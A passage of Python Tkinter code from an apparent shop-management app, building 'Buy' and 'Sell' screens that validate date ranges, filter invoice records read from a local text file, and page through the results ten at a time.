\"false.png\")\r\n\ticon_bg13 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_date131 = Label(fr131, image = icon_bg13)\r\n\ticon_date131.grid(row = 2, column = 6, padx = 20)\r\n\ticon_date132 = Label(fr131, image = icon_bg13)\r\n\ticon_date132.grid(row = 4, column = 6, padx = 20)\r\n\ticon_range13 = Label(fr131, image = icon_bg13)\r\n\ticon_range13.grid(row = 3, column = 6, padx = 20)\r\n\r\n\t## Results\r\n\tfr132 = Frame(fr)\r\n\tLabel(fr132, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 20)\r\n\tLabel(fr132, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, padx = 20)\r\n\tLabel(fr132, text = \"OrderID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 7, padx = 20)\r\n\tLabel(fr132, text = \"CusID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, padx = 30)\r\n\tLabel(fr132, text = \"ProdID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 9, padx = 20)\r\n\tLabel(fr132, text = \"Quan.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 10, padx = 20)\r\n\tLabel(fr132, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 20)\r\n\t\r\n\t# No.\r\n\tresults13 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults13[i] = Label(fr132, font = (\"Tahoma\", 20))\r\n\t\tresults13[i].grid(row = i, column = 5)\r\n\r\n\t# Date\r\n\tresults13_date = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults13_date[i] = Label(fr132, font = (\"Arial\", 15))\r\n\t\tresults13_date[i].grid(row = i, column = 6)\r\n\r\n\t# OrderID\r\n\tresults13_orderid = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults13_orderid[i] = Label(fr132, font = (\"Arial\", 15))\r\n\t\tresults13_orderid[i].grid(row = i, column = 7)\r\n\r\n\t# CusID\r\n\tresults13_cusid = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults13_cusid[i] = Label(fr132, font = (\"Arial\", 15))\r\n\t\tresults13_cusid[i].grid(row = i, column = 8)\r\n\r\n\t# ProdID\r\n\tresults13_prodid = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults13_prodid[i] = Label(fr132, font = (\"Arial\", 15))\r\n\t\tresults13_prodid[i].grid(row = i, column = 9)\r\n\r\n\t# Quantity\r\n\tresults13_quantity = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults13_quantity[i] = Label(fr132, font = (\"Arial\", 15))\r\n\t\tresults13_quantity[i].grid(row = i, column = 10)\r\n\r\n\t# Price\r\n\tresults13_price = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults13_price[i] = Label(fr132, font = (\"Arial\", 15))\r\n\t\tresults13_price[i].grid(row = i, column = 11)\r\n\r\n\tbtn_first13 = Button(fr132, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_first13.grid(row = 11, column = 6)\r\n\tbtn_prev13 = Button(fr132, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_prev13.grid(row = 11, column = 7)\r\n\tbtn_next13 = Button(fr132, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_next13.grid(row = 11, column = 8)\r\n\tbtn_end13 = Button(fr132, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_end13.grid(row = 11, column = 9)\r\n\ticon_page13 = Label(fr132, font = (\"Arial\", 15), relief = GROOVE)\r\n\ticon_page13.grid(row = 11, column = 11)\r\n\t\r\n\tfr131.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr132.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef buy2trans13():\r\n\tx0 = scr13.winfo_x()\r\n\ty0 = scr13.winfo_y()\r\n\tscr13.destroy()\r\n\tscr013.deiconify()\r\n\tscr013.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset13():\r\n\tday1_entry13.delete(0, END)\r\n\tmonth1_entry13.delete(0, END)\r\n\tday2_entry13.delete(0, END)\r\n\tmonth2_entry13.delete(0, END)\r\n\ticon_date131.configure(image = icon_bg13)\r\n\ticon_date132.configure(image = icon_bg13)\r\n\ticon_range13.configure(image - icon_bg13)\r\n\ttext_results13.configure(text = \"\")\r\n\tfor i in range(1, 11):\r\n\t\tresults13[i].configure(text = \"\")\r\n\t\tresults13_date[i].configure(text = \"\")\r\n\t\tresults13_orderid[i].configure(text = \"\")\r\n\t\tresults13_cusid[i].configure(text = \"\")\r\n\t\tresults13_prodid[i].configure(text = \"\")\r\n\t\tresults13_quantity[i].configure(text = \"\")\r\n\t\tresults13_price[i].configure(text = \"\")\r\n\r\n\tbtn_first13.configure(text = \"\", command = donothing)\r\n\tbtn_prev13.configure(text = \"\", command = donothing)\r\n\tbtn_next13.configure(text = \"\", command = donothing)\r\n\tbtn_end13.configure(text = \"\", command = donothing)\r\n\ticon_page13.configure(text = \"\", relief = FLAT)\r\n\r\ndef search13():\r\n\tglobal numOfresults13\r\n\tglobal numOfpages13\r\n\tglobal page13\r\n\tglobal date131\r\n\tglobal orderid131\r\n\tglobal cusid131\r\n\tglobal prodid131\r\n\tglobal quantity131\r\n\tglobal price131\r\n\r\n\tday1310 = day1_entry13.get()\r\n\tmonth1310 = month1_entry13.get()\r\n\tday1320 = day2_entry13.get()\r\n\tmonth1320 = month2_entry13.get()\r\n\r\n\t# Check date1\r\n\tcheck_date1 = True\r\n\tflag1 = False\r\n\tif (day1310 == \"\" and month1310 != \"\") or (day1310 != \"\" and month1310 == \"\"):\r\n\t\tcheck_date1 = False\r\n\telif (day1310 != \"\" and month1310 != \"\"):\r\n\t\tif (day1310.isdigit() == False or month1310.isdigit() == False):\r\n\t\t\tcheck_date1 = False\r\n\t\telse:\r\n\t\t\td1310 = int(day1310)\r\n\t\t\tm1310 = int(month1310)\r\n\t\t\tflag1 = True\r\n\t\t\tif m1310 not in range(1, 13):\r\n\t\t\t\tcheck_date1 = False\r\n\t\t\t\tflag1 = False\r\n\t\t\telse:\r\n\t\t\t\tif m1310 in [1, 3, 5, 7, 8, 10, 12] and d1310 not in range(1, 32):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\t\t\telif m1310 in [4, 6, 9, 11] and d1310 not in range(1, 31):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\t\t\telif m1310 == 2 and d1310 not in range(1, 30):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\r\n\tif check_date1:\r\n\t\ticon_date131.configure(image = icon_true13)\r\n\telse:\r\n\t\ticon_date131.configure(image = icon_false13)\r\n\r\n\t# Check date2\r\n\tcheck_date2 = True\r\n\tflag2 = False\r\n\tif (day1320 == \"\" and month1320 != \"\") or (day1320 != \"\" and month1320 == \"\"):\r\n\t\tcheck_date2 = False\r\n\telif (day1320 != \"\" and month1320 != \"\"):\r\n\t\tif (day1320.isdigit() == False or month1320.isdigit() == False):\r\n\t\t\tcheck_date2 = False\r\n\t\telse:\r\n\t\t\td1320 = int(day1320)\r\n\t\t\tm1320 = int(month1320)\r\n\t\t\tflag2 = True\r\n\t\t\tif m1320 not in range(1, 13):\r\n\t\t\t\tcheck_date2 = False\r\n\t\t\t\tflag2 = False\r\n\t\t\telse:\r\n\t\t\t\tif m1320 in [1, 3, 5, 7, 8, 10, 12] and d1320 not in range(1, 32):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\t\t\telif m1320 in [4, 6, 9, 11] and d1320 not in range(1, 31):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\t\t\telif m1320 == 2 and d1320 not in range(1, 30):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\r\n\tif check_date2:\r\n\t\ticon_date132.configure(image = icon_true13)\r\n\telse:\r\n\t\ticon_date132.configure(image = icon_false13)\r\n\r\n\t# Check range\r\n\tcheck_range = flag1 and flag2\r\n\tif check_range:\r\n\t\tif m1310 > m1320:\r\n\t\t\tcheck_range = False\r\n\t\telif m1310 == m1320 and d1310 > d1320:\r\n\t\t\tcheck_range = False\r\n\r\n\tif (day1310 == \"\" and month1310 == \"\") and flag2:\r\n\t\tcheck_range = True\r\n\telif flag1 and (day1320 == \"\" and month1320 == \"\"):\r\n\t\tcheck_range = True\r\n\telif (day1310 == \"\" and month1310 == \"\") and (day1320 == \"\" and month1320 == \"\"):\r\n\t\tcheck_range = True\r\n\t\t\t\r\n\tif check_range:\r\n\t\ticon_range13.configure(image = icon_true13)\r\n\telse:\r\n\t\ticon_range13.configure(image = icon_false13)\r\n\r\n\t# All check are true\t\r\n\tif check_date1 and check_date2 and check_range:\r\n\t\tfile = open(\"hoadon_mua.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; date131 = []; day131 = []; month131 = []; orderid131 = []; cusid131 = []; prodid131 = []; quantity131 = []; price131 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tdate131.append(sub[0].replace(\".\", \" \", 10))\r\n\t\t\tsub2 = date131[i].split()\r\n\t\t\tday131.append(sub2[0])\r\n\t\t\tmonth131.append(sub2[1])\r\n\t\t\torderid131.append(sub[1])\r\n\t\t\tcusid131.append(sub[2])\r\n\t\t\tprodid131.append(sub[3])\r\n\t\t\tquantity131.append(sub[4])\r\n\t\t\tprice131.append(sub[5])\r\n\r\n\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif flag1 and (day1320 == \"\" and month1320 == \"\"):\r\n\t\t\tfor i in range(0, len(date131)):\r\n\t\t\t\tif (int(month131[i]) > m1310) or (int(month131[i]) == m1310 and int(day131[i]) >= d1310):\r\n\t\t\t\t\tdate2.append(date131[i])\r\n\t\t\t\t\tday2.append(day131[i])\r\n\t\t\t\t\tmonth2.append(month131[i])\r\n\t\t\t\t\torderid2.append(orderid131[i])\r\n\t\t\t\t\tcusid2.append(cusid131[i])\r\n\t\t\t\t\tprodid2.append(prodid131[i])\r\n\t\t\t\t\tquantity2.append(quantity131[i])\r\n\t\t\t\t\tprice2.append(price131[i])\r\n\t\t\tdate131 = date2; day131 = day2; month131 = month2; orderid131 = orderid2; cusid131 = cusid2; prodid131 = prodid2; quantity131 = quantity2; price131 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\t\t\r\n\t\telif (day1310 == \"\" and month1310 == \"\") and flag2:\r\n\t\t\tfor i in range(0, len(date131)):\r\n\t\t\t\tif (int(month131[i]) < m1320) or (int(month131[i]) == m1320 and int(day131[i]) <= d1320):\r\n\t\t\t\t\tdate2.append(date131[i])\r\n\t\t\t\t\tday2.append(day131[i])\r\n\t\t\t\t\tmonth2.append(month131[i])\r\n\t\t\t\t\torderid2.append(orderid131[i])\r\n\t\t\t\t\tcusid2.append(cusid131[i])\r\n\t\t\t\t\tprodid2.append(prodid131[i])\r\n\t\t\t\t\tquantity2.append(quantity131[i])\r\n\t\t\t\t\tprice2.append(price131[i])\r\n\t\t\tdate131 = date2; day131 = day2; month131 = month2; orderid131 = orderid2; cusid131 = cusid2; prodid131 = prodid2; quantity131 = quantity2; price131 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\r\n\t\telif flag1 and flag2:\r\n\t\t\tfor i in range(0, len(date131)):\r\n\t\t\t\tif (m1310 < int(month131[i]) < m1320) or (m1310 == int(month131[i]) < m1320 and int(day131[i]) >= d1310) or (m1310 < int(month131[i]) == m1320 and int(day131[i]) <= d1320) or (m1310 == int(month131[i]) == m1320 and d1310 <= int(day131[i]) <= d1320):\r\n\t\t\t\t\tdate2.append(date131[i])\r\n\t\t\t\t\tday2.append(day131[i])\r\n\t\t\t\t\tmonth2.append(month131[i])\r\n\t\t\t\t\torderid2.append(orderid131[i])\r\n\t\t\t\t\tcusid2.append(cusid131[i])\r\n\t\t\t\t\tprodid2.append(prodid131[i])\r\n\t\t\t\t\tquantity2.append(quantity131[i])\r\n\t\t\t\t\tprice2.append(price131[i])\r\n\t\t\tdate131 = date2; day131 = day2; month131 = month2; orderid131 = orderid2; cusid131 = cusid2; prodid131 = prodid2; quantity131 = quantity2; price131 = price2\r\n\t\t\tdate2 = []; day2 = []; month2 = []; orderid2 = []; cusid2 = []; prodid2 = []; quantity2 = []; price2 = []\r\n\r\n\t\t# Sort\r\n\t\tfor i in range(0, len(day131)):\r\n\t\t\tdate131[i] = date131[i].replace(\" \", \"/\", 10)\r\n\r\n\t\t# Show\r\n\t\tnumOfresults13 = len(day131)\r\n\t\tif (numOfresults13 == 0) or (numOfresults13 == 1):\r\n\t\t\ttext_results13.configure(text = \"%d result found\" %numOfresults13)\r\n\t\telse:\r\n\t\t\ttext_results13.configure(text = \"%d results found\" %numOfresults13)\r\n\r\n\t\tif numOfresults13 != 0:\r\n\t\t\tnumOfpages13 = ((numOfresults13 - 1) // 10) + 1\r\n\t\t\tbtn_first13.configure(text = \"1\", command = first13)\r\n\t\t\tbtn_prev13.configure(text = \"<\", command = prev13)\r\n\t\t\tbtn_next13.configure(text = \">\", command = next13)\r\n\t\t\tbtn_end13.configure(text = \"End\", command = end13)\r\n\t\t\tpage13 = 1\r\n\t\t\tshowResults13(page13)\r\n\telse:\r\n\t\ttext_results13.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults13[i].configure(text = \"\")\r\n\t\t\tresults13_date[i].configure(text = \"\")\r\n\t\t\tresults13_orderid[i].configure(text = \"\")\r\n\t\t\tresults13_cusid[i].configure(text = \"\")\r\n\t\t\tresults13_prodid[i].configure(text = \"\")\r\n\t\t\tresults13_quantity[i].configure(text = \"\")\r\n\t\t\tresults13_price[i].configure(text = \"\")\r\n\t\tbtn_first13.configure(text = \"\", command = donothing)\r\n\t\tbtn_prev13.configure(text = \"\", command = donothing)\r\n\t\tbtn_next13.configure(text = \"\", command = donothing)\r\n\t\tbtn_end13.configure(text = \"\", command = donothing)\r\n\t\ticon_page13.configure(text = \"\", relief = FLAT)\r\n\r\ndef showResults13(index):\r\n\ticon_page13.configure(text = index, relief = GROOVE)\r\n\tif index == numOfpages13:\r\n\t\tfor i in range(1, numOfresults13 - 10*(numOfpages13 - 1) + 1):\r\n\t\t\tresults13[i].configure(text = 10*(numOfpages13 - 1) + i)\r\n\t\t\tresults13_date[i].configure(text = date131[10*(numOfpages13 - 1) + i - 1])\r\n\t\t\tresults13_orderid[i].configure(text = orderid131[10*(numOfpages13 - 1) + i - 1])\r\n\t\t\tresults13_cusid[i].configure(text = cusid131[10*(numOfpages13 - 1) + i - 1])\r\n\t\t\tresults13_prodid[i].configure(text = prodid131[10*(numOfpages13 - 1) + i - 1])\r\n\t\t\tresults13_quantity[i].configure(text = quantity131[10*(numOfpages13 - 1) + i - 1])\r\n\t\t\tresults13_price[i].configure(text = price131[10*(numOfpages13 - 1) + i - 1])\r\n\t\tif (numOfresults13 % 10) != 0:\r\n\t\t\tfor i in range((numOfresults13 % 10) + 1, 11):\r\n\t\t\t\tresults13[i].configure(text = \"\")\r\n\t\t\t\tresults13_date[i].configure(text = \"\")\r\n\t\t\t\tresults13_orderid[i].configure(text = \"\")\r\n\t\t\t\tresults13_cusid[i].configure(text = \"\")\r\n\t\t\t\tresults13_prodid[i].configure(text = \"\")\r\n\t\t\t\tresults13_quantity[i].configure(text = \"\")\r\n\t\t\t\tresults13_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tfor j in range(1, 11):\r\n\t\t\tresults13[j].configure(text = 10*(index - 1) + j)\r\n\t\t\tresults13_date[j].configure(text = date131[10*(index - 1) + j - 1])\r\n\t\t\tresults13_orderid[j].configure(text = orderid131[10*(index - 1) + j - 1])\r\n\t\t\tresults13_cusid[j].configure(text = cusid131[10*(index - 1) + j - 1])\r\n\t\t\tresults13_prodid[j].configure(text = prodid131[10*(index - 1) + j - 1])\r\n\t\t\tresults13_quantity[j].configure(text = quantity131[10*(index - 1) + j - 1])\r\n\t\t\tresults13_price[j].configure(text = price131[10*(index - 1) + j - 1])\r\n\r\n# Buttons for showing results\r\ndef first13():\r\n\tglobal page13\r\n\tpage13 = 1\r\n\tshowResults13(page13)\r\n\r\ndef prev13():\r\n\tglobal page13\r\n\tif page13 != 1:\r\n\t\tpage13 -= 1\r\n\t\tshowResults13(page13)\r\n\r\ndef next13():\r\n\tglobal page13\r\n\tif page13 != numOfpages13:\r\n\t\tpage13 += 1\r\n\t\tshowResults13(page13)\r\n\r\ndef end13():\r\n\tglobal page13\r\n\tpage13 = numOfpages13\r\n\tshowResults13(page13)\r\n\r\n# Sell\r\ndef sell1():\r\n\tglobal scr14\r\n\tglobal fr141\r\n\tglobal fr142\r\n\tglobal day1_entry14\r\n\tglobal month1_entry14\r\n\tglobal day2_entry14\r\n\tglobal month2_entry14\r\n\tglobal rs14\r\n\tglobal icon_date141\r\n\tglobal icon_date142\r\n\tglobal icon_range14\r\n\tglobal icon_true14\r\n\tglobal icon_false14\r\n\tglobal icon_bg14\r\n\tglobal results14\r\n\tglobal results14_date\r\n\tglobal results14_orderid\r\n\tglobal results14_cusid\r\n\tglobal results14_prodid\r\n\tglobal results14_quantity\r\n\tglobal results14_price\r\n\tglobal btn_first14\r\n\tglobal btn_prev14\r\n\tglobal btn_next14\r\n\tglobal btn_end14\r\n\tglobal text_results14\r\n\tglobal back14\r\n\tglobal icon_page14\r\n\r\n\tscr013.withdraw()\r\n\tscr14 = Toplevel(scr013)\r\n\tx0 = scr013.winfo_x()\r\n\ty0 = scr013.winfo_y()\r\n\tscr14.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr14.title(\"Sell\")\r\n\tscr14.resizable(width = False, height = False)\r\n\tscr14.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr14, 12)\r\n\t\r\n\t## Info\r\n\tfr = Frame(scr14)\r\n\tfr141 = Frame(fr)\r\n\t\r\n\t# SELL\r\n\tLabel(fr141, text = \"SELL\", font = (\"Tahoma\", 20)).grid(row = 0, column = 1, sticky = W, padx = 10)\r\n\tLabel(fr141).grid(row = 1)\r\n\r\n\t# Date\r\n\tLabel(fr141, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tday1 = StringVar()\r\n\tday1_entry14 = Entry(fr141, textvariable = day1, width = 3, font = 30)\r\n\tday1_entry14.grid(row = 2, column = 1, sticky = W)\r\n\r\n\tLabel(fr141, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 2, column = 2, sticky = W)\r\n\t\r\n\tmonth1 = StringVar()\r\n\tmonth1_entry14 = Entry(fr141, textvariable = month1, width = 3, font = 30)\r\n\tmonth1_entry14.grid(row = 2, column = 3)\r\n\r\n\tLabel(fr141, text = \"to\", font = (\"Tahoma\", 20)).grid(row = 3, column = 2, sticky = W)\r\n\tday2 = StringVar()\r\n\tday2_entry14 = Entry(fr141, textvariable = day2, width = 3, font = 30)\r\n\tday2_entry14.grid(row = 4, column = 1, sticky = W)\r\n\r\n\tLabel(fr141, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 4, column = 2, sticky = W)\r\n\t\r\n\tmonth2 = StringVar()\r\n\tmonth2_entry14 = Entry(fr141, textvariable = month2, width = 3, font = 30)\r\n\tmonth2_entry14.grid(row = 4, column = 3)\r\n\r\n\t# Reset\r\n\tLabel(fr141).grid(row = 5)\r\n\trs14 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr141, image = rs14, relief = FLAT, command = reset14).grid(row = 6, column = 1, sticky = W)\r\n\t# scr14.bind(\"r\", reset14)\r\n\t\r\n\t# SEARCH\r\n\tButton(fr141, text = \"SEARCH\", font = (\"Tahoma\", 16), command = search14).grid(row = 6, column = 2, columnspan = 2, sticky = E)\r\n\tscr14.bind(\"<Return>\", search14)\r\n\t# Label(fr141).grid(row = 10)\r\n\r\n\ttext_results14 = Label(fr141, font = (\"Arial\", 15))\r\n\ttext_results14.grid(row = 7, column = 1, columnspan = 4, sticky = W)\r\n\r\n\t# Back to login\r\n\tback14 = PhotoImage(file = \"left.png\")\r\n\tLabel(fr141).grid(row = 8)\r\n\tLabel(fr141).grid(row = 9)\r\n\tLabel(fr141).grid(row = 10)\r\n\tLabel(fr141).grid(row = 11)\r\n\tButton(fr141, image = back14, relief = FLAT, command = sell2trans14).grid(row = 12, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true14 = PhotoImage(file = \"true.png\")\r\n\ticon_false14 = PhotoImage(file = \"false.png\")\r\n\ticon_bg14 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_date141 = Label(fr141, image = icon_bg14)\r\n\ticon_date141.grid(row = 2, column = 6, padx = 20)\r\n\ticon_date142 = Label(fr141, image = icon_bg14)\r\n\ticon_date142.grid(row = 4, column = 6, padx = 20)\r\n\ticon_range14 = Label(fr141, image = icon_bg14)\r\n\ticon_range14.grid(row = 3, column = 6, padx = 20)\r\n\r\n\t## Results\r\n\tfr142 = Frame(fr)\r\n\tLabel(fr142, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 20)\r\n\tLabel(fr142, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, padx = 20)\r\n\tLabel(fr142, text = \"OrderID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 7, padx = 20)\r\n\tLabel(fr142, text = \"CusID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, padx = 30)\r\n\tLabel(fr142, text = \"ProdID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 9, padx = 20)\r\n\tLabel(fr142, text = \"Quan.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 10, padx = 20)\r\n\tLabel(fr142, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 20)\r\n\t\r\n\t# No.\r\n\tresults14 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults14[i] = Label(fr142, font = (\"Tahoma\", 20))\r\n\t\tresults14[i].grid(row = i, column = 5)\r\n\r\n\t# Date\r\n\tresults14_date = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults14_date[i] = Label(fr142, font = (\"Arial\", 15))\r\n\t\tresults14_date[i].grid(row = i, column = 6)\r\n\r\n\t# OrderID\r\n\tresults14_orderid = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults14_orderid[i] = Label(fr142, font = (\"Arial\", 15))\r\n\t\tresults14_orderid[i].grid(row = i, column = 7)\r\n\r\n\t# CusID\r\n\tresults14_cusid = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults14_cusid[i] = Label(fr142, font = (\"Arial\", 15))\r\n\t\tresults14_cusid[i].grid(row = i, column = 8)\r\n\r\n\t# ProdID\r\n\tresults14_prodid = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults14_prodid[i] = Label(fr142, font = (\"Arial\", 15))\r\n\t\tresults14_prodid[i].grid(row = i, column = 9)\r\n\r\n\t# Quantity\r\n\tresults14_quantity = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults14_quantity[i] = Label(fr142, font = (\"Arial\", 15))\r\n\t\tresults14_quantity[i].grid(row = i, column = 10)\r\n\r\n\t# Price\r\n\tresults14_price = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults14_price[i] = Label(fr142, font = (\"Arial\", 15))\r\n\t\tresults14_price[i].grid(row = i, column = 11)\r\n\r\n\tbtn_first14 = Button(fr142, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_first14.grid(row = 11, column = 6)\r\n\tbtn_prev14 = Button(fr142, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_prev14.grid(row = 11, column = 7)\r\n\tbtn_next14 = Button(fr142, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_next14.grid(row = 11, column = 8)\r\n\tbtn_end14 = Button(fr142, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_end14.grid(row = 11, column = 9)\r\n\ticon_page14 = Label(fr142, font = (\"Arial\", 15))\r\n\ticon_page14.grid(row = 11, column = 11)\r\n\t\r\n\tfr141.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr142.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef sell2trans14():\r\n\tx0 = scr14.winfo_x()\r\n\ty0 = scr14.winfo_y()\r\n\tscr14.destroy()\r\n\tscr013.deiconify()\r\n\tscr013.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset14():\r\n\tday1_entry14.delete(0, END)\r\n\tmonth1_entry14.delete(0, END)\r\n\tday2_entry14.delete(0, END)\r\n\tmonth2_entry14.delete(0, END)\r\n\ticon_date141.configure(image = icon_bg14)\r\n\ticon_date142.configure(image = icon_bg14)\r\n\ticon_range14.configure(image = icon_bg14)\r\n\ttext_results14.configure(text = \"\")\r\n\tfor i in range(1, 11):\r\n\t\tresults14[i].configure(text = \"\")\r\n\t\tresults14_date[i].configure(text = \"\")\r\n\t\tresults14_orderid[i].configure(text = \"\")\r\n\t\tresults14_cusid[i].configure(text = \"\")\r\n\t\tresults14_prodid[i].configure(text = \"\")\r\n\t\tresults14_quantity[i].configure(text = \"\")\r\n\t\tresults14_price[i].configure(text = \"\")\r\n\tbtn_first14.configure(text = \"\", command = donothing)\r\n\tbtn_prev14.configure(text = \"\", command = donothing)\r\n\tbtn_next14.configure(text = \"\", command = donothing)\r\n\tbtn_end14.configure(text = \"\", command = donothing)\r\n\ticon_page14.configure(text = \"\", relief = FLAT)\r\n\r\ndef search14():\r\n\tglobal numOfresults14\r\n\tglobal numOfpages14\r\n\tglobal page14\r\n\tglobal date141\r\n\tglobal orderid141\r\n\tglobal cusid141\r\n\tglobal prodid141\r\n\tglobal quantity141\r\n\tglobal price141\r\n\r\n\tday1410 = day1_entry14.get()\r\n\tmonth1410 = month1_entry14.get()\r\n\tday1420 = day2_entry14.get()\r\n\tmonth1420 = month2_entry14.get()\r\n\r\n\t# Check date1\r\n\tcheck_date1 = True\r\n\tflag1 = False\r\n\tif (day1410 == \"\" and month1410 != \"\") or (day1410 != \"\" and month1410 == \"\"):\r\n\t\tcheck_date1 = False\r\n\telif (day1410 != \"\" and month1410 != \"\"):\r\n\t\tif (day1410.isdigit() == False or month1410.isdigit() == False):\r\n\t\t\tcheck_date1 = False\r\n\t\telse:\r\n\t\t\td1410 = int(day1410)\r\n\t\t\tm1410 = int(month1410)\r\n\t\t\tflag1 = True\r\n\t\t\tif m1410 not in range(1, 13):\r\n\t\t\t\tcheck_date1 = False\r\n\t\t\t\tflag1 = False\r\n\t\t\telse:\r\n\t\t\t\tif m1410 in [1, 3, 5, 7, 8, 10, 12] and d1410 not in range(1, 32):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\t\t\telif m1410 in [4, 6, 9, 11] and d1410 not in range(1, 31):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\t\t\telif m1410 == 2 and d1410 not in range(1, 30):\r\n\t\t\t\t\tcheck_date1 = False\r\n\t\t\t\t\tflag1 = False\r\n\t\r\n\tif check_date1:\r\n\t\ticon_date141.configure(image = icon_true14)\r\n\telse:\r\n\t\ticon_date141.configure(image = icon_false14)\r\n\r\n\t# Check date2\r\n\tcheck_date2 = True\r\n\tflag2 = False\r\n\tif (day1420 == \"\" and month1420 != \"\") or (day1420 != \"\" and month1420 == \"\"):\r\n\t\tcheck_date2 = False\r\n\telif (day1420 != \"\" and month1420 != \"\"):\r\n\t\tif (day1420.isdigit() == False or month1420.isdigit() == False):\r\n\t\t\tcheck_date2 = False\r\n\t\telse:\r\n\t\t\td1420 = int(day1420)\r\n\t\t\tm1420 = int(month1420)\r\n\t\t\tflag2 = True\r\n\t\t\tif m1420 not in range(1, 13):\r\n\t\t\t\tcheck_date2 = False\r\n\t\t\t\tflag2 = False\r\n\t\t\telse:\r\n\t\t\t\tif m1420 in [1, 3, 5, 7, 8, 10, 12] and d1420 not in range(1, 32):\r\n\t\t\t\t\tcheck_date2 = False\r\n\t\t\t\t\tflag2 = False\r\n\t\t\t\telif m1420 in [4, 6, 9, 11] and d1420 not in range(1, 